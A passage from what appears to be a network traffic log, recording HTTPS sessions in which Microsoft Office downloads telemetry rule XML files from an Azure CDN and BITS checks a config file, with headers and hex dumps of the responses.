DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.7	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:07 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:07 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: e9f7249a-b01e-00ab-72be-42dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023307Z-174f7845968cdxdrhC1EWRg0en000000127g00000000c7p7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:07 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.7	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:07 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:08 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:08 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 38c0e8e4-701e-006f-64a1-42afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023308Z-174f78459684bddphC1EWRbht4000000122g00000000678k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:08 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.7	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:07 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:08 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:08 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: bde42162-801e-00a3-4fb3-427cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023308Z-174f78459684db9fhC1EWRc7g400000002cg000000003adh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:08 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.7	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:08 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:08 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b189b901-c01e-0079-3391-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023308Z-174f7845968kdththC1EWRzvxn0000000epg00000000865s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:09 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.7	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:09 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:09 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:09 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 34b38576-901e-007b-60db-41ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023309Z-174f7845968vqt9xhC1EWRgten00000012b000000000apa8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:09 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.7	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:09 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:10 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:09 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: f4671ffc-301e-0000-793a-40eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023309Z-174f7845968j6t2phC1EWRcfe800000012eg00000000ah0f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:10 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.7	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:10 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:10 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:10 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 92910895-401e-008c-43af-4286c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023310Z-174f78459684bddphC1EWRbht400000011y000000000hx0h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:10 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.7	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:10 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:10 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:10 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: ce9cfc58-401e-000a-6d62-404a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023310Z-174f7845968swgbqhC1EWRmnb400000012h0000000003rtu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:10 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.7	49835	184.30.17.174	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:10 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-01 02:33:11 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=233717 Date: Sun, 01 Dec 2024 02:33:10 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.7	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:10 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:11 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 417f12c6-b01e-003e-571e-428e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023311Z-174f78459685m244hC1EWRgp2c000000125g000000007aak x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:11 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.7	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:11 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:11 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:11 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: e52eaca9-401e-0064-32a1-4254af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023311Z-174f7845968nxc96hC1EWRspw8000000121g00000000a2sg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:11 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.7	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:11 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:12 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2150929f-401e-0064-4382-3f54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023312Z-174f78459688l8rvhC1EWRtzr00000000ew000000000c27k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:12 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.7	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:12 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
